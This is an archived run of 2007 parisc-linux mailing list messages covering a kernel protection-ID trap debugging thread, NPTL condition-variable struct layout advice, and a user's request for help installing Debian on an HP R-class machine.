Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A614F7DAAE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 17:33:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22125-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 17:33:52 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E3D517DAAC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 17:33:51 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1Q0XooW025897;
	Sun, 25 Feb 2007 19:33:51 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1Q0Xn44025896;
	Sun, 25 Feb 2007 19:33:49 -0500 (EST)
In-Reply-To: <1172428258.3423.22.camel@mulgrave.il.steeleye.com> from "James
	Bottomley" at Feb 25, 2007 12:30:58 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wxLUDKspQEVsv+jDZnVpgeRKNzg2NQIo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24411

> Here's take II.  It corrects the problem with the prior one not being
> agressive enough .. plus sr3 is the wrong register to alter from
> userspace ... we really need to do sr4-7.

This one is less stable your previous change + reversion of tausq's
SMP TLB opimization patch.  GCC build doesn't get far before wierdness
occurs (strange characters being read from files):

gcc -c -g -fkeep-inline-functions      -gnatpg -gnata -I- -I. -Iada -I../../gcc/
gcc/ada ../../gcc/gcc/ada/exp_ch6.adb -o ada/exp_ch6.o
/tmp/ccaWBgD1.s: Assembler messages:
/tmp/ccaWBgD1.s:2436: Error: Undefined register: '%s'.
/tmp/ccaWBgD1.s:2436: Error: Field out of range [0..31] (-1).
/tmp/ccaWBgD1.s:2436: Error: Undefined register: '%s'.
/tmp/ccaWBgD1.s:2436: Error: Undefined register: '%s'.
/tmp/ccaWBgD1.s:2436: Error: Field out of range [0..31] (-1).
...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debugging 64-bit kernel crashes involving
Date: Sun, 25 Feb 2007 21:53:03 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <1172461983.3423.34.camel__34648.8387244337$1416624317$gmane$org@mulgrave.il.steeleye.com>
References: <200702240039.l1O0dCxG017471@hiauly1.hia.nrc.ca>
	<1172277920.3424.83.camel@mulgrave.il.steeleye.com>
	<119aab440702251819u1a070512j2cb8ca2eeadf0962@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624317 23371 80.91.229.3 (22 Nov 2014 02:45:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:17 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2007 03:53:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 26 Feb 2007 04:53:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 245FF7DADB;
	Sun, 25 Feb 2007 20:53:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23745-05; Sun, 25 Feb 2007 20:53:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C5D987DADC;
	Sun, 25 Feb 2007 20:53:21 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 65F6B7DADA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 20:53:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23502-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 20:53:16 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 655707DA97
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 20:53:16 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1Q3r4x02486; 
	Sun, 25 Feb 2007 22:53:04 -0500
In-Reply-To: <119aab440702251819u1a070512j2cb8ca2eeadf0962@mail.gmail.com>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4B2oAq0Ja2A75rvDOHQy0+wyOWhhaodC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24412

On Sun, 2007-02-25 at 21:19 -0500, Carlos O'Donell wrote:
> current->comm, and cr8 included in the dump.

Thanks!

> sr00-03  0000000000077000 0000000000000000 0000000000000000 0000000000077000
> sr04-07  0000000000077000 0000000000077000 0000000000077000 0000000000077000
> 
> IASQ: 0000000000077000 0000000000077000 IAOQ: 0000000040723f2c 0000000040723f2f
>  IIR: 43ffff40    ISR: 0000000000000000  IOR: 0000000000000000
>  CPU:        0   CR30: 000000009af10000 CR31: 0000000040848000
>  ORIG_R28: 0000000042c774c8
>  CR8: 00000000000001e0

Perfect, 0x1e8 on a 64 bit kernel (where SPACEID_SHIFT is 11) is
0x78000.  This means that the protection and the space are indeed
mismatched ... we just have to find out how, sigh!

>  current->comm: 000000009af253e8

Actually, current->comm should be printed as a %s: it's the name of the
faulting process.

>  IAOQ[0]: cuda_images+0xc14/0x3180
>  IAOQ[1]: cuda_images+0xc14/0x3180
>  RP(r2): 0x40bf0e1c

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debugging 64-bit kernel crashes involving
Date: Sun, 25 Feb 2007 23:19:32 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <1172467172.3423.39.camel__26710.3462516845$1416624317$gmane$org@mulgrave.il.steeleye.com>
References: <200702240039.l1O0dCxG017471@hiauly1.hia.nrc.ca>
	<1172277920.3424.83.camel@mulgrave.il.steeleye.com>
	<119aab440702251819u1a070512j2cb8ca2eeadf0962@mail.gmail.com>
	<1172461983.3423.34.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624317 23376 80.91.229.3 (22 Nov 2014 02:45:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:17 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2007 05:19:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 26 Feb 2007 06:19:59 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87D697DADB;
	Sun, 25 Feb 2007 22:19:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24378-02; Sun, 25 Feb 2007 22:19:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B40977DADE;
	Sun, 25 Feb 2007 22:19:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3729B7DA97
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 22:19:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24036-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 22:19:47 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 34BBD7DA75
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 22:19:47 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1Q5JWx06863; 
	Mon, 26 Feb 2007 00:19:33 -0500
In-Reply-To: <1172461983.3423.34.camel@mulgrave.il.steeleye.com>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: N1bUdNFdYmYSwOnCanc3+M9KWkZTQdR4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24413

On Sun, 2007-02-25 at 21:53 -0600, James Bottomley wrote:
> On Sun, 2007-02-25 at 21:19 -0500, Carlos O'Donell wrote:
> > current->comm, and cr8 included in the dump.
> 
> Thanks!
> 
> > sr00-03  0000000000077000 0000000000000000 0000000000000000 0000000000077000
> > sr04-07  0000000000077000 0000000000077000 0000000000077000 0000000000077000
> > 
> > IASQ: 0000000000077000 0000000000077000 IAOQ: 0000000040723f2c 0000000040723f2f
> >  IIR: 43ffff40    ISR: 0000000000000000  IOR: 0000000000000000
> >  CPU:        0   CR30: 000000009af10000 CR31: 0000000040848000
> >  ORIG_R28: 0000000042c774c8
> >  CR8: 00000000000001e0
> 
> Perfect, 0x1e8 on a 64 bit kernel (where SPACEID_SHIFT is 11) is
> 0x78000.  This means that the protection and the space are indeed
> mismatched ... we just have to find out how, sigh!

OK, I have a theory.  It has to do with the way we do flush_tlb_mm by
incrementing the spaceid.  This works in a single space per process
model.  However, a process with multiple threads has >1 scheduling
context which share spaces.  So, the theory goes that when we fork from
a thread, we execute flush_tlb_mm which bumps the context (space).  Then
we schedule another thread in the same process.  However, this picks up
its space registers from the task rather than the mm->context, so it
uses the old mm.  Now, the load context has updated %cr8, the protection
ID.  However %cr8 isn't part of the task context, so we end up executing
in the old context with the protection of the new one ... resulting in a
protection ID trap.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: NPTL for hppa-linux is not backwards
	compatible with Linuxthreads.
Date: Sun, 25 Feb 2007 22:45:58 -0800 (PST)
Lines: 18
Approved: news@gmane.org
Message-ID: <20070226064558.714C0180067__3021.80991643599$1416624317$gmane$org@magilla.sf.frob.com>
References: <119aab440702251847u29687878mff8770653cccbb35@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624317 23378 80.91.229.3 (22 Nov 2014 02:45:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:17 +0000 (UTC)
Cc: debian-glibc@lists.debian.org,
 libc-ports@sourceware.org,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2007 06:46:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 26 Feb 2007 07:46:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B03327DADC;
	Sun, 25 Feb 2007 23:46:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24792-07; Sun, 25 Feb 2007 23:46:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CF407DADE;
	Sun, 25 Feb 2007 23:46:38 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B44587DADB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 23:46:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24792-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 23:46:34 -0700 (MST)
Original-Received: from rwcrmhc13.comcast.net (rwcrmhc13.comcast.net [204.127.192.83])
	by free.linux.hp.com (Postfix) with ESMTP id F269C7DADA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Feb 2007 23:46:33 -0700 (MST)
Original-Received: from gateway.sf.frob.com
	(c-24-5-197-144.hsd1.ca.comcast.net[24.5.197.144])
	by comcast.net (rwcrmhc13) with ESMTP
	id <20070226064632m13006bna0e>; Mon, 26 Feb 2007 06:46:32 +0000
Original-Received: from magilla.sf.frob.com (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id B45AD357B; Sun, 25 Feb 2007 22:46:28 -0800 (PST)
Original-Received: by magilla.sf.frob.com (Postfix, from userid 5281)
	id 714C0180067; Sun, 25 Feb 2007 22:45:58 -0800 (PST)
In-Reply-To: Carlos O'Donell's message of  Sunday,
	25 February 2007 21:47:38 -0500
	<119aab440702251847u29687878mff8770653cccbb35@mail.gmail.com>
X-Shopping-List: (1) Incandescent consistent detergent potions
	(2) Urgent malicious wine (3) Winged impatient enemas
	(4) Asynchronous proclamations
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZvjXLYkEZDI4sbHGdWY2/3VxemhmY0H6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24414

> I did a couple of tests and I verified that I have no words to spare.
> Adding an extra "int __pad" forces the structure to grow by 8 bytes
> due to the "long long" alignment requirements.

Just reorder the fields so that the 32-bit fields are all in groups of 2 or 4.
All that should matter is that the padding word is one of the first four so
you can detect the old initializer data, and that __mutex is the 6th
member so the PTHREAD_COND_INITIALIZER text works out to be warning-free.
In fact, that doesn't really matter since the initializer contents are all
zero regardless of spelling.  If need be, you can add a new first union
member not called __data, with a layout that makes PTHREAD_COND_INITIALIZER
happy. 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ram <talk2ram@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: http://picasaweb.google.com/talk2ram/HpProblems
Date: Mon, 26 Feb 2007 20:12:25 +0530
Lines: 59
Approved: news@gmane.org
Message-ID: <b74751490702260642g746ae640g8789f2ca08d4a611__46990.2962017388$1416624318$gmane$org@mail.gmail.com>
References: <b74751490702260500o7451d131l6af36a0b49f08eb3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1377385617=="
X-Trace: ger.gmane.org 1416624318 23384 80.91.229.3 (22 Nov 2014 02:45:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Feb 2007 14:42:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 26 Feb 2007 15:42:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E620A7DAF6;
	Mon, 26 Feb 2007 07:42:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29151-08; Mon, 26 Feb 2007 07:42:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CBD727DAF2;
	Mon, 26 Feb 2007 07:42:38 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 003797DAF0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 07:42:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29127-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 07:42:32 -0700 (MST)
Original-Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.234])
	by free.linux.hp.com (Postfix) with ESMTP id 489477DAE2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 07:42:32 -0700 (MST)
Original-Received: by nz-out-0506.google.com with SMTP id o37so1434934nzf
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Feb 2007 06:42:29 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:references;
	b=epS8tA3WbAKh2j0CoBnNRivkqRv/6RLJ4Qyxk98TGTnELbbuO3cmLj2T2joH+ZqWNswMpg2JjY6JkdiE56IRv4gCFyTg27pNTeKxXWABlYcXsNZ7RPh3Bvvv5F5ciMzjaC5/oRngnacG3asewMxwos9D1WR8fvtinh61hn1gj0Y=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:references;
	b=bgTmIPeKciSX24reLt3F/Qy2oQFDbdODWB5krz7nWnpv+m3L/mGMtbNYTZr+yVZfDgHVClxxZulC6kDHZPpxZvir70/MhdJG8o4ID8AAN+PELRktv6WUYyJiiptLa8D9lQ6iQ20sm3CyoYeALgsfD16SyhE0OyY+U7SnR25dGLk=
Original-Received: by 10.114.79.1 with SMTP id c1mr666542wab.1172500945706;
	Mon, 26 Feb 2007 06:42:25 -0800 (PST)
Original-Received: by 10.115.76.4 with HTTP; Mon, 26 Feb 2007 06:42:25 -0800 (PST)
In-Reply-To: <b74751490702260500o7451d131l6af36a0b49f08eb3@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0MPbfdNbYW0+6buGbmZpDXZ0amthc5vY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24415

--===============1377385617==
Content-Type: multipart/alternative; 
	boundary="----=_Part_96828_24963476.1172500945661"

------=_Part_96828_24963476.1172500945661
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

hi

iam trying to install Debian on HP R class 9000
but i dont see iam able to make success
can some one help me ot resolve this problem


http://picasaweb.google.com/talk2ram/HpProblems

any solution for this problem
any help will be great

ram

------=_Part_96828_24963476.1172500945661
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

<br><br>
<div>&nbsp;</div>
<div>hi</div>
<div>&nbsp;</div>
<div>iam trying to install Debian on HP R class 9000</div>
<div>but i dont see iam able to make success</div>
<div>can some one help me ot resolve this problem</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div><a onclick="return top.js.OpenExtLink(window,event,this)" href="http://picasaweb.google.com/talk2ram/HpProblems" target="_blank">http://picasaweb.google.com/talk2ram/HpProblems</a></div>
<div>&nbsp;</div>
<div>any solution for this problem</div>
<div>any help will be great</div><span class="sg">
<div>&nbsp;</div>
<div>ram<br>&nbsp;</div></span>

------=_Part_96828_24963476.1172500945661--

--===============1377385617==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1377385617==--



From - Thu Nov 08 21:35:46 2018
X-Mozilla-Status: 0001
